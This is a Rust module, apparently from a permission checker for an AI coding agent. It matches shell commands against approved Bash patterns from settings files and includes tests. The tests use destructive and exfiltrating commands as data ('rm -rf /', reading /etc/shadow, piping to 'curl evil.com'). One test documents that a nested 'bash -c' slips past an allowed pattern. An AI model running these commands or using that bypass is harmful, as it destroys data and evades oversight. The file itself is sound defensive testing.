1use std::collections::HashSet;
2use std::path::Path;
3
4pub struct ApprovedPatterns {
5 exact: HashSet<String>,
6 globs: Vec<Vec<String>>,
7}
8
9impl ApprovedPatterns {
10 pub fn load() -> Self {
11 let mut patterns = ApprovedPatterns {
12 exact: HashSet::new(),
13 globs: Vec::new(),
14 };
15
16 if let Some(home) = std::env::var_os("HOME") {
17 patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
18 }
19
20 if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
21 let base = Path::new(&project_dir).join(".claude");
22 patterns.load_file(&base.join("settings.json"));
23 patterns.load_file(&base.join("settings.local.json"));
24 }
25
26 patterns
27 }
28
29 fn load_file(&mut self, path: &Path) {
30 let Ok(contents) = std::fs::read_to_string(path) else {
31 return;
32 };
33 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
34 return;
35 };
36
37 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
38 for entry in arr.iter().filter_map(|e| e.as_str()) {
39 self.add_pattern(entry);
40 }
41 }
42
43 if let Some(arr) = value
44 .get("permissions")
45 .and_then(|v| v.get("allow"))
46 .and_then(|v| v.as_array())
47 {
48 for entry in arr.iter().filter_map(|e| e.as_str()) {
49 self.add_pattern(entry);
50 }
51 }
52 }
53
54 fn add_pattern(&mut self, entry: &str) {
55 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
56 return;
57 };
58 if inner.is_empty() {
59 return;
60 }
61 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
62 format!("{prefix} *")
63 } else {
64 inner.to_string()
65 };
66 if normalized.contains('*') {
67 self.globs
68 .push(normalized.split('*').map(String::from).collect());
69 } else {
70 self.exact.insert(normalized);
71 }
72 }
73
74 pub fn matches(&self, segment: &str) -> bool {
75 let normalized = strip_fd_redirects(crate::parse::strip_env_prefix(segment).trim());
76 if normalized.is_empty() {
77 return false;
78 }
79 if self.exact.contains(normalized.as_str()) {
80 return true;
81 }
82 self.globs
83 .iter()
84 .any(|parts| glob_matches(parts, &normalized))
85 }
86
87 pub fn is_empty(&self) -> bool {
88 self.exact.is_empty() && self.globs.is_empty()
89 }
90}
91
92fn strip_fd_redirects(s: &str) -> String {
93 match crate::parse::tokenize(s) {
94 Some(tokens) => tokens
95 .into_iter()
96 .filter(|t| !crate::is_fd_redirect(t))
97 .collect::<Vec<_>>()
98 .join(" "),
99 None => s.to_string(),
100 }
101}
102
103fn glob_matches(parts: &[String], text: &str) -> bool {
104 let first = &parts[0];
105 let last = &parts[parts.len() - 1];
106
107 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
109 let prefix = &first[..first.len() - 1];
110 return text == prefix || text.starts_with(first.as_str());
111 }
112
113 if !text.starts_with(first.as_str()) {
114 return false;
115 }
116 if !text.ends_with(last.as_str()) {
117 return false;
118 }
119 let mut pos = first.len();
120 let end = text.len() - last.len();
121 if pos > end {
122 return false;
123 }
124 for part in &parts[1..parts.len() - 1] {
125 match text[pos..end].find(part.as_str()) {
126 Some(idx) => pos += idx + part.len(),
127 None => return false,
128 }
129 }
130 pos <= end
131}
132
133#[cfg(test)]
134mod tests {
135 use super::*;
136 use std::fs;
137
138 fn empty() -> ApprovedPatterns {
139 ApprovedPatterns {
140 exact: HashSet::new(),
141 globs: Vec::new(),
142 }
143 }
144
145 #[test]
146 fn parse_exact_pattern() {
147 let mut p = empty();
148 p.add_pattern("Bash(npm test)");
149 assert!(p.exact.contains("npm test"));
150 assert!(p.globs.is_empty());
151 }
152
153 #[test]
154 fn parse_legacy_colon_star() {
155 let mut p = empty();
156 p.add_pattern("Bash(npm run:*)");
157 assert!(p.exact.is_empty());
158 assert_eq!(p.globs.len(), 1);
159 }
160
161 #[test]
162 fn parse_space_star() {
163 let mut p = empty();
164 p.add_pattern("Bash(npm run *)");
165 assert!(p.exact.is_empty());
166 assert_eq!(p.globs.len(), 1);
167 }
168
169 #[test]
170 fn parse_star_no_space() {
171 let mut p = empty();
172 p.add_pattern("Bash(ls*)");
173 assert_eq!(p.globs.len(), 1);
174 }
175
176 #[test]
177 fn parse_star_at_beginning() {
178 let mut p = empty();
179 p.add_pattern("Bash(* --version)");
180 assert_eq!(p.globs.len(), 1);
181 }
182
183 #[test]
184 fn parse_star_in_middle() {
185 let mut p = empty();
186 p.add_pattern("Bash(git * main)");
187 assert_eq!(p.globs.len(), 1);
188 }
189
190 #[test]
191 fn parse_non_bash_skipped() {
192 let mut p = empty();
193 p.add_pattern("WebFetch");
194 p.add_pattern("XcodeBuildMCP");
195 assert!(p.is_empty());
196 }
197
198 #[test]
199 fn parse_empty_bash_skipped() {
200 let mut p = empty();
201 p.add_pattern("Bash()");
202 assert!(p.is_empty());
203 }
204
205 #[test]
206 fn parse_empty_prefix_skipped() {
207 let mut p = empty();
208 p.add_pattern("Bash(:*)");
209 assert!(p.exact.is_empty());
210 assert_eq!(p.globs.len(), 1);
211 }
212
213 #[test]
214 fn match_exact() {
215 let mut p = empty();
216 p.add_pattern("Bash(npm test)");
217 assert!(p.matches("npm test"));
218 assert!(!p.matches("npm test --watch"));
219 }
220
221 #[test]
222 fn match_space_star_word_boundary() {
223 let mut p = empty();
224 p.add_pattern("Bash(ls *)");
225 assert!(p.matches("ls -la"));
226 assert!(p.matches("ls foo"));
227 assert!(!p.matches("lsof"));
228 }
229
230 #[test]
231 fn match_star_no_space_no_boundary() {
232 let mut p = empty();
233 p.add_pattern("Bash(ls*)");
234 assert!(p.matches("ls -la"));
235 assert!(p.matches("lsof"));
236 }
237
238 #[test]
239 fn match_legacy_colon_star_word_boundary() {
240 let mut p = empty();
241 p.add_pattern("Bash(npm run:*)");
242 assert!(p.matches("npm run build"));
243 assert!(p.matches("npm run test"));
244 assert!(!p.matches("npm running"));
245 assert!(!p.matches("npm install"));
246 }
247
248 #[test]
249 fn match_star_at_beginning() {
250 let mut p = empty();
251 p.add_pattern("Bash(* --version)");
252 assert!(p.matches("npm --version"));
253 assert!(p.matches("cargo --version"));
254 assert!(!p.matches("npm --help"));
255 }
256
257 #[test]
258 fn match_star_in_middle() {
259 let mut p = empty();
260 p.add_pattern("Bash(git * main)");
261 assert!(p.matches("git checkout main"));
262 assert!(p.matches("git merge main"));
263 assert!(!p.matches("git checkout develop"));
264 }
265
266 #[test]
267 fn match_env_prefix_stripped() {
268 let mut p = empty();
269 p.add_pattern("Bash(bundle install)");
270 assert!(p.matches("RACK_ENV=test bundle install"));
271 }
272
273 #[test]
274 fn match_fd_redirect_stripped() {
275 let mut p = empty();
276 p.add_pattern("Bash(npm test)");
277 assert!(p.matches("npm test 2>&1"));
278 }
279
280 #[test]
281 fn match_fd_redirect_with_glob() {
282 let mut p = empty();
283 p.add_pattern("Bash(npm run *)");
284 assert!(p.matches("npm run test 2>&1"));
285 }
286
287 #[test]
288 fn match_empty_segment() {
289 let mut p = empty();
290 p.add_pattern("Bash(npm test)");
291 assert!(!p.matches(""));
292 assert!(!p.matches(" "));
293 }
294
295 #[test]
296 fn empty_patterns_match_nothing() {
297 let p = empty();
298 assert!(!p.matches("anything"));
299 }
300
301 #[test]
302 fn match_bare_star_matches_everything() {
303 let mut p = empty();
304 p.add_pattern("Bash(*)");
305 assert!(p.matches("anything at all"));
306 assert!(p.matches("rm -rf /"));
307 }
308
309 #[test]
310 fn unsafe_syntax_not_bypassed_by_match() {
311 let mut p = empty();
312 p.add_pattern("Bash(./script.sh *)");
313 let segment = "./script.sh > /etc/passwd";
314 assert!(crate::parse::has_unsafe_shell_syntax(segment));
315 let covered = crate::is_safe(segment)
316 || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
317 assert!(!covered);
318 }
319
320 #[test]
321 fn command_substitution_not_bypassed_by_match() {
322 let mut p = empty();
323 p.add_pattern("Bash(./script.sh *)");
324 let segment = "./script.sh $(rm -rf /)";
325 let covered = crate::is_safe(segment)
326 || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
327 assert!(!covered);
328 }
329
330 #[test]
331 fn mixed_chain_safe_plus_settings() {
332 let mut p = empty();
333 p.add_pattern("Bash(./generate-docs.sh)");
334 let command = "cargo test && ./generate-docs.sh";
335 let segments = crate::parse::split_outside_quotes(command);
336 let all_covered = segments.iter().all(|s| {
337 crate::is_safe(s)
338 || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
339 });
340 assert!(all_covered);
341 }
342
343 #[test]
344 fn mixed_chain_safe_plus_unapproved_denied() {
345 let mut p = empty();
346 p.add_pattern("Bash(./generate-docs.sh)");
347 let command = "cargo test && rm -rf /";
348 let segments = crate::parse::split_outside_quotes(command);
349 let all_covered = segments.iter().all(|s| {
350 crate::is_safe(s)
351 || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
352 });
353 assert!(!all_covered);
354 }
355
356 fn is_covered(segment: &str, patterns: &ApprovedPatterns) -> bool {
357 crate::is_safe(segment)
358 || (!crate::parse::has_unsafe_shell_syntax(segment) && patterns.matches(segment))
359 }
360
361 #[test]
362 fn glob_does_not_cross_chain_boundary() {
363 let mut p = empty();
364 p.add_pattern("Bash(cargo test *)");
365 let command = "cargo test --release && rm -rf /";
366 let segments = crate::parse::split_outside_quotes(command);
367 assert_eq!(segments.len(), 2);
368 assert!(p.matches(&segments[0]));
369 assert!(!p.matches(&segments[1]));
370 assert!(!segments.iter().all(|s| is_covered(s, &p)));
371 }
372
373 #[test]
374 fn glob_does_not_cross_pipe_boundary() {
375 let mut p = empty();
376 p.add_pattern("Bash(safe-cmd *)");
377 let command = "safe-cmd arg | curl evil.com";
378 let segments = crate::parse::split_outside_quotes(command);
379 assert_eq!(segments.len(), 2);
380 assert!(!segments.iter().all(|s| is_covered(s, &p)));
381 }
382
383 #[test]
384 fn glob_does_not_cross_semicolon_boundary() {
385 let mut p = empty();
386 p.add_pattern("Bash(safe-cmd *)");
387 let command = "safe-cmd arg; rm -rf /";
388 let segments = crate::parse::split_outside_quotes(command);
389 assert_eq!(segments.len(), 2);
390 assert!(!segments.iter().all(|s| is_covered(s, &p)));
391 }
392
393 #[test]
394 fn bare_star_blocked_by_unsafe_syntax_redirect() {
395 let mut p = empty();
396 p.add_pattern("Bash(*)");
397 assert!(p.matches("echo > /etc/passwd"));
398 assert!(!is_covered("echo > /etc/passwd", &p));
399 }
400
401 #[test]
402 fn bare_star_blocked_by_unsafe_syntax_backtick() {
403 let mut p = empty();
404 p.add_pattern("Bash(*)");
405 assert!(!is_covered("echo `rm -rf /`", &p));
406 }
407
408 #[test]
409 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
410 let mut p = empty();
411 p.add_pattern("Bash(*)");
412 assert!(!is_covered("echo $(cat /etc/shadow)", &p));
413 }
414
415 #[test]
416 fn nested_shell_not_recursively_validated_by_settings() {
417 let mut p = empty();
418 p.add_pattern("Bash(bash *)");
419 let segment = "bash -c 'safe-cmd && rm -rf /'";
420 assert!(!crate::is_safe(segment));
421 assert!(!crate::parse::has_unsafe_shell_syntax(segment));
422 assert!(is_covered(segment, &p));
426 }
427
428 #[test]
429 fn nested_shell_redirect_still_blocked() {
430 let mut p = empty();
431 p.add_pattern("Bash(bash *)");
432 let segment = "bash -c 'echo hello' > /tmp/pwned";
433 assert!(crate::parse::has_unsafe_shell_syntax(segment));
434 assert!(!is_covered(segment, &p));
435 }
436
437 #[test]
438 fn quoted_operators_stay_as_one_segment() {
439 let mut p = empty();
440 p.add_pattern("Bash(./script *)");
441 let command = "./script 'arg && rm -rf /'";
442 let segments = crate::parse::split_outside_quotes(command);
443 assert_eq!(segments.len(), 1);
444 assert!(is_covered(&segments[0], &p));
445 }
446
447 #[test]
448 fn load_file_nonexistent() {
449 let mut p = empty();
450 p.load_file(Path::new("/nonexistent/path/settings.json"));
451 assert!(p.is_empty());
452 }
453
454 #[test]
455 fn load_file_malformed_json() {
456 let dir = tempfile::tempdir().unwrap();
457 let path = dir.path().join("settings.json");
458 fs::write(&path, "not json{{{").unwrap();
459 let mut p = empty();
460 p.load_file(&path);
461 assert!(p.is_empty());
462 }
463
464 #[test]
465 fn load_file_approved_commands() {
466 let dir = tempfile::tempdir().unwrap();
467 let path = dir.path().join("settings.json");
468 fs::write(
469 &path,
470 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
471 )
472 .unwrap();
473 let mut p = empty();
474 p.load_file(&path);
475 assert!(p.matches("npm test"));
476 assert!(p.matches("npm run build"));
477 assert!(!p.matches("curl evil.com"));
478 }
479
480 #[test]
481 fn load_file_permissions_allow() {
482 let dir = tempfile::tempdir().unwrap();
483 let path = dir.path().join("settings.json");
484 fs::write(
485 &path,
486 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
487 )
488 .unwrap();
489 let mut p = empty();
490 p.load_file(&path);
491 assert!(p.matches("cargo test"));
492 assert!(p.matches("cargo clippy -- -D warnings"));
493 }
494
495 #[test]
496 fn load_file_both_fields() {
497 let dir = tempfile::tempdir().unwrap();
498 let path = dir.path().join("settings.json");
499 fs::write(
500 &path,
501 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
502 )
503 .unwrap();
504 let mut p = empty();
505 p.load_file(&path);
506 assert!(p.matches("npm test"));
507 assert!(p.matches("cargo test --release"));
508 }
509}